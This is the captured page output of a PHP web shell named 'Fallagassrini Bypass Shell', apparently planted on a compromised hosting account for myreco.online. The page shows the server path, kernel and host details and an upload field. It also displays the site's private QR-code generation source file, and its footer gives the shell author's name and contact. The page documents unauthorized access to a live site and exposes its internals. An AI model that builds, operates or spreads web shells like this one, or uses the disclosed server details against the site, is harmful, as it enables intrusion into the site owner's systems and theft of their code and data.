Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/h/a/p/happyrenas/myreco.online/includes/

Linux webd005.cluster105.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Upload File :
Current File : /home/h/a/p/happyrenas/myreco.online/includes/fonctions_qrcode.php

<?


/******************************************
 * 🚚 GENERATION DU QRCODE BRUT ET HABILLE
 *****************************************/
 
function genererQRCodeHabilleSansEcraser($token, $code_pays)
{
	global $pays;
	include(DOSSIER_RACINE."/administration/panel/phpqrcode/qrlib.php");

	$first_letter = strtoupper(substr($token, 0, 1));
	$cheminDossier = DOSSIER_RACINE."/upload/qrcode/" . $first_letter;
	$urlDossier    = "/upload/qrcode/" . $first_letter;

	$fichier_brut        = $cheminDossier . "/" . $token . ".png";
	$fichier_brut_web    = $urlDossier . "/" . $token . ".png";

	$fichier_habille_jpg     = $cheminDossier . "/" . $token . "_habille.jpg";
	$fichier_habille_web_jpg = $urlDossier . "/" . $token . "_habille.jpg";

	$qr_genere = false;
	$qr_habille_genere = false;

	if (!file_exists($cheminDossier)) {
		if (!mkdir($cheminDossier, 0755, true)) {
			return [
				'statut' => 'erreur_mkdir',
				'qrcode' => null,
				'qrcode_habille' => null,
			];
		}
	}

	if (!file_exists($fichier_brut)) {
		$url = 'https://www.myreco.online/fiche.php?token=' . $token;
		QRcode::png($url, $fichier_brut, QR_ECLEVEL_L, 10);
		$qr_genere = true;
	}

	if (!file_exists($fichier_habille_jpg)) {
		if (!isset($pays[$code_pays])) {
			return [
				'statut' => 'erreur_pays_inconnu',
				'qrcode' => $fichier_brut_web,
				'qrcode_habille' => null,
			];
		}

		$habillage_path = DOSSIER_RACINE."/".$pays[$code_pays]['habillage'];

		if (!file_exists($habillage_path)) {
			return [
				'statut' => 'erreur_habillage_introuvable'.$habillage_path,
				'qrcode' => $fichier_brut_web,
				'qrcode_habille' => null,
			];
		}

		$qrcodebrut = imagecreatefrompng($fichier_brut);
		$qrcodebrut = imagescale($qrcodebrut, 510, 510);

		$qrcodehabille = imagecreatefrompng($habillage_path);
		imagecopymerge($qrcodehabille, $qrcodebrut, 120, 130, 0, 0, 510, 510, 100);

		imagejpeg($qrcodehabille, $fichier_habille_jpg, 40);
		$qr_habille_genere = true;
	}

	return [
		'statut' => 'ok',
		'qrcode' => $fichier_brut_web,
		'qrcode_habille' => $fichier_habille_web_jpg,
		'qr_genere' => $qr_genere,
		'qr_habille_genere' => $qr_habille_genere
	];
}

/******************************************
 * 🚚 RECUPERATION DU CHEMIN DU QRCODE BRUT ET HABILLE + DATES
 *****************************************/
function recupererCheminsQRCode($token)
{
	$first_letter = strtoupper(substr($token, 0, 1));
	$cheminDossier = DOSSIER_RACINE."/upload/qrcode/" . $first_letter;
	$urlDossier    = "/upload/qrcode/" . $first_letter;

	$fichier_brut        = $cheminDossier . "/" . $token . ".png";
	$fichier_brut_web    = $urlDossier . "/" . $token . ".png";

	$fichier_habille_jpg     = $cheminDossier . "/" . $token . "_habille.jpg";
	$fichier_habille_web_jpg = $urlDossier . "/" . $token . "_habille.jpg";

	return [
		'existe_brut' => file_exists($fichier_brut),
		'existe_habille' => file_exists($fichier_habille_jpg),
		'qrcode' => $fichier_brut_web,
		'qrcode_habille' => $fichier_habille_web_jpg,
		'date_brut' => file_exists($fichier_brut) ? date("d-m-Y H:i:s", filemtime($fichier_brut)) : null,
		'date_habille' => file_exists($fichier_habille_jpg) ? date("d-m-Y H:i:s", filemtime($fichier_habille_jpg)) : null
	];
}



?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net